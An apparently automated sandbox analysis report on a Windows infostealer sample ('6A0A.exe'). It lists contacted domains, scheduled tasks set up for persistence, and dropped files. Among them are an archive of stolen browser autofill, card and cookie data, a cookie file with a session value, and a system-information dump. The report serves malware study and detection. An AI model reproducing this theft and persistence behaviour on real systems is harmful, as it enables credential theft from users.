audownload.windowsupdate.nsatc.net, au.download.windowsupdate.com.hwcdn.net, arc.trafficmanager.net, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, watson.telemetry.microsoft.com, prod.fs.microsoft.com.akadns.net, au-bg-shim.trafficmanager.net, api.ip.sb.cdn.cloudflare.net, fs.microsoft.com, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, ris-prod.trafficmanager.net, neu-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, asf-ris-prod-neu.northeurope.cloudapp.azure.com, e1723.g.akamaiedge.net, ctldl.windowsupdate.com, settings-win.data.microsoft.com, cds.d2s7q6s2.hwcdn.net, iris-de-prod-azsc-uks.uksouth.cloudapp.azure.com, settingsfd-geo.trafficmanager.net, ris.api.iris.microsoft.com, store-images.s-microsoft.com, blobcollector.events.data.trafficmanager.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net Not all processes where analyzed, report is missing behavior information Report creation exceeded maximum time and may have missing behavior and disassembly information. Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtEnumerateKey calls found. Report size getting too big, too many NtOpenFile calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryAttributesFile calls found. Report size getting too big, too many NtQueryValueKey calls found. Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
14:00:35	API Interceptor	3x Sleep call for process: svchost.exe modified
14:01:17	Task Scheduler	Run new task: Firefox Default Browser Agent E1F7EE9FF1859CB7 path: C:\Users\user\AppData\Roaming\wshgiwf
14:01:38	API Interceptor	1x Sleep call for process: explorer.exe modified
14:01:50	API Interceptor	1x Sleep call for process: 66AE.exe modified
14:01:54	Task Scheduler	Run new task: WindowDevicesLight path: "C:\Users\user\AppData\Roaming\WindowDevicesLight.exe"
14:02:10	Task Scheduler	Run new task: Windows.Devices.WiFiDirect path: "C:\Users\user\Windows.Devices.WiFiDirect.exe"

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

No context

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\ProgramData\8N7OSER12M2JY3K68V6CGNPA9\d06ed635-68f6-4e9a-955c-4899f5f57b9a4969819625.zip Download File
Process:	C:\Users\user\AppData\Local\Temp\6A0A.exe
File Type:	Zip archive data, at least v2.0 to extract
Category:	dropped
Size (bytes):	4857
Entropy (8bit):	7.127154243835156
Encrypted:	false
SSDEEP:	96:x2ZfkMNlo8/ZIgX5KAocraTYBYc9EC1a6iu:m9L/igAlcraAYfvu
MD5:	ED17846EB4F8FC2CD92FA8E61A99BF48
SHA1:	A21A938D9973FDACD105904F299F07DAB22E228E
SHA-256:	BA4B13A3D2EF9A7BB38928E643304F5E72582DFDB498D63CF317F2AD96C78897
SHA-512:	D43A3F5AC96B5A09745BED302CF44CE0912B98C099F7FAE841083F32173FF58AA52B2AF824DD913E5EA497BAAEAB1756B570E38D5733B1F29C1B4B4E59616687
Malicious:	false
Reputation:	unknown
Preview:	PK........0..S............#.../Autofill/Google Chrome_Default.txtUT...D^%aD^%aD^%a..PK........0..S............#.../Autofill/Google Chrome_Default.txtUT...D^%aD^%aD^%aPK...........S................/CC/Google Chrome_Default.txtUT...C^%aC^%aC^%a..PK...........S................/CC/Google Chrome_Default.txtUT...C^%aC^%aC^%aPK........(..S................/Cookies/Edge_Cookies.txtUT...@^%a@^%a@^%a..PK........(..S................/Cookies/Edge_Cookies.txtUT...@^%a@^%a@^%aPK........,..S............".../Cookies/Google Chrome_Default.txtUT...B^%aB^%aB^%a-..N.0...3&>..............B.ip.....O......e.gy....4g.....}v.!N.S.....,\[..\|..5.V-...=.kBiJ?.+....]..}.h....y..Lt.Sb.:}.cS..KO.\.r..,.....M6.X... ....q9..3..v.@..z..71..t.Up..CS.~..g.mo.....PK........,..S\~.l........".../Cookies/Google Chrome_Default.txtUT...B^%aB^%aB^%aPK........(..S................/Cookies/IE_Cookies.txtUT...@^%a@^%a@^%a..PK........(..S................/Cookies/IE_Cookies.txtUT...@^%a@^%a@^%aPK...........S............$.../D

C:\ProgramData\8N7OSER12M2JY3K68V6CGNPA9\files\Cookies\Google Chrome_Default.txt Download File
Process:	C:\Users\user\AppData\Local\Temp\6A0A.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	218
Entropy (8bit):	5.787907296270898
Encrypted:	false
SSDEEP:	6:PkopYjdSQHo3HWvmWogYmmYIkV0NAXhtfx:copYxzkYLmWV0Ghtp
MD5:	550A7FD2AB480B2F537E0CB278AB1906
SHA1:	3B890274F3CFC06C13E6CB6B048FFB6D5E80BB34
SHA-256:	461A1E12872241809075955E29ED062E3283BF5BDA7B04DD59D35525D01076FA
SHA-512:	215B8EF44D47B8FA461778F906A78E3853A55EA06B5620458CBC61E1B3BCB93B43E938A6C6F6DE632FC7B0AB61822465C19CB0F90B202877CF102AEDE7B8E346
Malicious:	false
Reputation:	unknown
Preview:	.google.com.FALSE./.FALSE.1617282077.NID.204=Zby1pa4NqcXVsIGE_3ZmaJyb6wd0ytCetXAGAYyCxqs2oB7GnI3pgyhDqSLplEUbd5KtDmFut9_ZUC4e6qUSqOJD3t1X1QzZ6EDKsemEKsaJT7QdaJ3DLNev4XjTqyplJqeiHY0L0dD9AvRUlTYjHSmBPUv-_Y4cj4q4NBiv_34..

C:\ProgramData\8N7OSER12M2JY3K68V6CGNPA9\files\Files\11111.zip Download File
Process:	C:\Users\user\AppData\Local\Temp\6A0A.exe
File Type:	Zip archive data (empty)
Category:	dropped
Size (bytes):	22
Entropy (8bit):	1.0476747992754052
Encrypted:	false
SSDEEP:	3:pjt/l:Nt
MD5:	76CDB2BAD9582D23C1F6F4D868218D6C
SHA1:	B04F3EE8F5E43FA3B162981B50BB72FE1ACABB33
SHA-256:	8739C76E681F900923B900C9DF0EF75CF421D39CABB54650C4B9AD19B6A76D85
SHA-512:	5E2F959F36B66DF0580A94F384C5FC1CEEEC4B2A3925F062D7B68F21758B86581AC2ADCFDDE73A171A28496E758EF1B23CA4951C05455CDAE9357CC3B5A5825F
Malicious:	false
Reputation:	unknown
Preview:	PK....................

C:\ProgramData\8N7OSER12M2JY3K68V6CGNPA9\files\information.txt Download File
Process:	C:\Users\user\AppData\Local\Temp\6A0A.exe
File Type:	ISO-8859 text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	12687
Entropy (8bit):	5.307281869513243
Encrypted:	false
SSDEEP:	192:tOIOJQElQxgAyQxC94V5CwzpgBdQXRsg8qbNqqN:IxJfCRtxC9+5vzpgUX2MboqN
MD5:	5EE3F54DE18F99DDCFBDA5DADB563A91
SHA1:	F1F414517B402AAFDAC5846D8332564259F18E3E
SHA-256:	563888BD7F618DD0021B0CA38CC0E6F47D704E8C97BD2C52137602C529800E58
SHA-512:	EA3C6CA37539F928A480F596E7B5018300A24ED2846FFF3BFF0B0D73EE22E59324046C6569FFFA366FB709E796CB919CA56A4BBECD471731D8923B0DE72D2C22
Malicious:	false
Reputation:	unknown
Preview:	Version: 40.1....Date: Tue Aug 24 14:01:56 2021..MachineID: d06ed635-68f6-4e9a-955c-4899f5f57b9a..GUID: {e6e9dfa8-98f2-11e9-90ce-806e6f6e6963}..HWID: d06ed635-68f6-4e9a-955c-90ce-806e6f6e6963....Path: C:\Users\user\AppData\Local\Temp\6A0A.exe ..Work Dir: C:\ProgramData\8N7OSER12M2JY3K68V6CGNPA9 ....Windows: Windows 10 Pro [x64]..Computer Name: 704672..User Name: user..Display Resolution: 1280x1024..Display Language: en-US..Keyboard Languages: English (United States)..Local Time: 24/8/2021 14:1:56..TimeZone: UTC-8....[Hardware]..Processor: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz..CPU Count: 4..RAM: 8191 MB..VideoCard: Microsoft Basic Display Adapter....[Processes]..---------- System [4]..------------------------------ Registry [88]..- smss.exe [300]..- csrss.exe [392]..- wininit.exe [468]..- csrss.exe [480]..- winlogon.exe [560]..- services.exe [568]..- lsass.exe [596]..- fontdrvhost.exe [684]..- fontdrvhost.exe [704]..- svchost.exe [712]..- svchost.exe [792]..- svchost.ex

C:\ProgramData\8N7OSER12M2JY3K68V6CGNPA9\files\temp Download File
Process:	C:\Users\user\AppData\Local\Temp\6A0A.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	446464
Entropy (8bit):	0.7605538396742194
Encrypted:	false
SSDEEP:	768:noiWBBjboiWBBjN20olG4oNQraFB/JraFB/Q:oi1indo6QLQG
MD5:	B52A35B5F69DFC4058B3866FDB7F2547
SHA1:	A02A86317535D9A68D17CBB2F81552F101C4A7A6
SHA-256:	4A4428620FBCBF815C0217F4F42810DECD42447975BE6B361F9AB592E23CC756
SHA-512:	25D08922343953DD282895B6B9DE19944ABE7E303FC2E86F90FF90A8FB35C082395B013D8C55008E9605456ADB8DB16F469F5C669857AEE18DDD18B3A4B8F7ED
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................C....... ..g... .8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\edb.log Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.23571841084195963
Encrypted:	false
SSDEEP:	12:bryGaD0JcaaD0JwQQzAg/0bjSQJv4rUAu16FUAu16:bregJctgJwUrjSugQAuIaAuI
MD5:	BC0420A57F64C44DDA026AD78A8256E3
SHA1:	06603CE7E1969E5B4B205A136A71C90696E99D64
SHA-256:	D56C5D73CD7C167634D7E2ACB399994A09806C060D6472633D534967CCC69C4F
SHA-512:	5D9C871E628F8C3BC60F3895277B77782323FD60A539810002125CA3CE4E0A941955601DCA6178902600C6E37E9BEE9A65E0A05C35E8D5E1DBBC9F16C3267724
Malicious:	false
Reputation:	unknown
Preview:	....E..h..(.....$....y............... ..1C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@...................$....y............&......e.f.3...w.......................3...w..................h..C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b...G............................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xce4fe248, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	0.09581521307181284
Encrypted:	false
SSDEEP:	12:v0+SO4bl+p8KB0+SO4bl+p8KCA0+SO4bl+QjW8KCA0+SO4bl+QjW8KajA0+SO4bK:cbDPXPfPDPD3Mu3M
MD5:	B3D73D9FA73CCE7EE06A1E4869F3E96C
SHA1:	C2ADA0758D1128300E3C1CB434D50CD59F93020D
SHA-256:	F2D814A4F0FD0C9E25A4EDC84A8FDB64B5E80FC1CEC2BB3F6EFC1B3C905862A5
SHA-512:	943AF5A697453ED998417A1353D2E6F61CA58A078CF7C84D19537F9584A75A672117ECB65E060FE399554B020C01A9595F6E252E94D6C7D959FE90073463D2F9
Malicious:	false
Reputation:	unknown
Preview:	.O.H... ................e.f.3...w........................&..........w..$....yS.h.(..............................3...w...........................................................................................................B...........@...................................................................................................... ........3...w.........................................................................................................................................................................................................................................$....ySi................:.O $....yS.........................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.11271205288526409
Encrypted:	false
SSDEEP:	6:IYht4STgtACahu2vb1mwmjRrGm/ahtxMwm/AHlRrpka5MwmjuaA:Xt4lLWvvRGjRrx/Wt6/eFCjua
MD5:	9B7DC67C2F26D58E2E8ED47DEB76683F
SHA1:	7B4FA1735100747DC33E9FBF722E36D141E393C8
SHA-256:	2E358A43908F2DDFEFB19CAFE18175DAB66FBCBDBE39D918FAC41002E92F9A8D
SHA-512:	64938CF169159E2EDCFCC932425A4ED7A5222A96AE8921E76A86073B77845228FB83FC6AA7BB4F58C271D2F04E2B12F99869EC8CB5979EC28335E0CBC0A70DC6
Malicious:	false
Reputation:	unknown
Preview:	.E9......................................3...w..$....yS......w...............w.......w....:O.....w..................:.O $....yS.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3C87.tmp.csv Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	55580
Entropy (8bit):	3.054257830636257
Encrypted:	false
SSDEEP:	1536:jVHHb9z622Ic1GdqeIeDKjym9uu7TCiGJZ2Pa:jVHHb9z622Ic1GdqeIUKjym9uu7TCiGF
MD5:	C00FDEA233942CB6875CCE2DB08C276F
SHA1:	BDA02EEFF6B4051702DFE44E0BAB5B96117768E4
SHA-256:	8547A311F778F1D1F3538FFE08F322BFEB7FA09FC9EDE6199D48BF1869BA78D9
SHA-512:	D110F4D60A6A739406FD0E2D8BBCC0EBFAE61FD29A1863B9586055E94E57F3BC1874E396B1B59F70735340B5679DD547AFA218532B626331F37AB6973D8DEC31
Malicious:	false
Reputation:	unknown
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3D24.tmp.csv Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	55590
Entropy (8bit):	3.054425758654809
Encrypted:	false
SSDEEP:	1536:GJHNm9e622Ic1GdqedeUKjZrX0tHECI/ZwvPa:GJHNm9e622Ic1GdqedjKjZrX0tHECI/t
MD5:	5BC92670ECAC26812BB1A04688F1EE9D
SHA1:	98A6B6AF5DDE38310E50A88A562AA18B322F1921
SHA-256:	BF82A840DA237A47586D77586B0E96E0BB0F78E0632E1D1CA40AE45C4BDD56A1
SHA-512:	FD711D04A9153B14806EDF6332E4084C1A918D325EA5498284E98A0EC27D358868F14C13D65E39343B215C4092AF73BDA0BFDF923393F933419A3653B8CF741F
Malicious:	false
Reputation:	unknown
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER44F5.tmp.txt Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.696432524434609
Encrypted:	false
SSDEEP:	96:9GiZYWhJXe9Y6SYu0WDSpH8YEZrztGiidfHiwfI85aojjbdMI1G3:9jZDK4RkcqfaojjbdL1G3
MD5:	296C0F41BFE96799EADFA1232BB451EF
SHA1:	E179503ED7E164F784F7B3DCF5DB18B631F9074B
SHA-256:	D8A5F0529872335752C0054AD49AC93B9A3FF1F44C32F663FCEBBE8F6AE2312E
SHA-512:	5F29B79B00C4D7D387AB0C611C014733EE72EFCB1EC3C9E1DA1DA8AA0634F68104AA4BD7FE1C21D0CC5BD523BFD785ADA48A8032800BDEA39496187D56771DB9
Malicious:	false
Reputation:	unknown
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.1.5.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4583.tmp.txt Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.696895374151478
Encrypted:	false
SSDEEP:	96:9GiZYWXm1WzMYQYtiWPH8YEZqytGi8sd2Hiw2Ir2a7IjSf9Ia33:9jZDXq3CbSna7IjSfCa33
MD5:	9A7FEEE65889F5DE2AFD1C61073F5FC9
SHA1:	EAF813D1B5E02EE2301ADC76D90F60C7E2F9A51D
SHA-256:	FF07FA1FD6B1CFFAF13348814C4F55300A4E114B7B0B6B251B4823BBE5683E7F
SHA-512:	2C3F0A7A38220C59C991E1627B9D7092B79598F253952CC451E26FD516FF412ADDB552175769797D8A8D1F7F3A6B5675C547345A2DA643C6F6E583CC01B134B6
Malicious:	false
Reputation:	unknown
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.1.5.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB6E1.tmp.csv Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	58052
Entropy (8bit):	3.0493890967460433
Encrypted:	false
SSDEEP:	1536:hhHif9p922IB1ixdyZ3Ez2SWEDf6r3NlyJQYGyzmq:hhHif9p922IB1ixdyZ3EqSWEDf6r3NlE
MD5:	0DC55FECCAC32CA768A385649816D09E
SHA1:	D318CA8FDE0A827E05CD400957CACC946EEE65F0
SHA-256:	321EF46A6178C4C3AECE9A401ACFF8180EA144B1307D0DC542AAF1B6B15EC63C
SHA-512:	28A0B36C0136B91BCABC247D9B68C1B02080198D2CB5ACD0F387202C62056EFCE72730819DDAA229C584B596D8683124DC529A354CF9DAF51AF504412DAFE4D6
Malicious:	false
Reputation:	unknown
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERDE7F.tmp.txt Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.697633542798053
Encrypted:	false
SSDEEP:	96:9GiZYWCBL8INY6Y3WnnHcYEZ5ztGiQdZHUwA9pkaGfPYKxIgxf3:9jZDCBNJAfTkaGfPYKug53
MD5:	5A877D817BB1B267C6B8BE3813D831D0
SHA1:	2300A5E35C890922B5259BF0FF529142AC9343F7
SHA-256:	F493E6F8D8383DF173307A690E4209055B867CAA7A5DFC6D0E9D9C2CB6F36A7E
SHA-512:	11EFB25356ED56656A27DD4B3F293CBB05CBE336E5C1F2D2DC4CA7EB224FF86CAB496B10723A35E72D1F22077DFE31C0E5A5540AE61DBFE650222C4B8EB5A33E
Malicious:	false
Reputation:	unknown
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.1.5.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\freebl3.dll Download File
Process:	C:\Users\user\AppData\Local\Temp\6A0A.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	334288
Entropy (8bit):	6.807000203861606
Encrypted:	false
SSDEEP:	6144:C8YBC2NpfYjGg7t5xb7WOBOLFwh8yGHrIrvqqDL6XPowD:CbG7F35BVh8yIZqn65D
MD5:	EF2834AC4EE7D6724F255BEAF527E635
SHA1:	5BE8C1E73A21B49F353C2ECFA4108E43A883CB7B
SHA-256:	A770ECBA3B08BBABD0A567FC978E50615F8B346709F8EB3CFACF3FAAB24090BA
SHA-512:	C6EA0E4347CBD7EF5E80AE8C0AFDCA20EA23AC2BDD963361DFAF562A9AED58DCBC43F89DD826692A064D76C3F4B3E92361AF7B79A6D16A75D9951591AE3544D2
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........./...AV..AV..AV...V..AV].@W..AV.1.V..AV].BW..AV].DW..AV].EW..AV..@W..AVO.@W..AV..@V.AVO.BW..AVO.EW..AVO.AW..AVO.V..AVO.CW..AVRich..AV........................PE..L....b.[.........."!.........f......)........................................p.......s....@.........................p...P............@..x....................P......0...T...............................@...............8............................text...t........................... 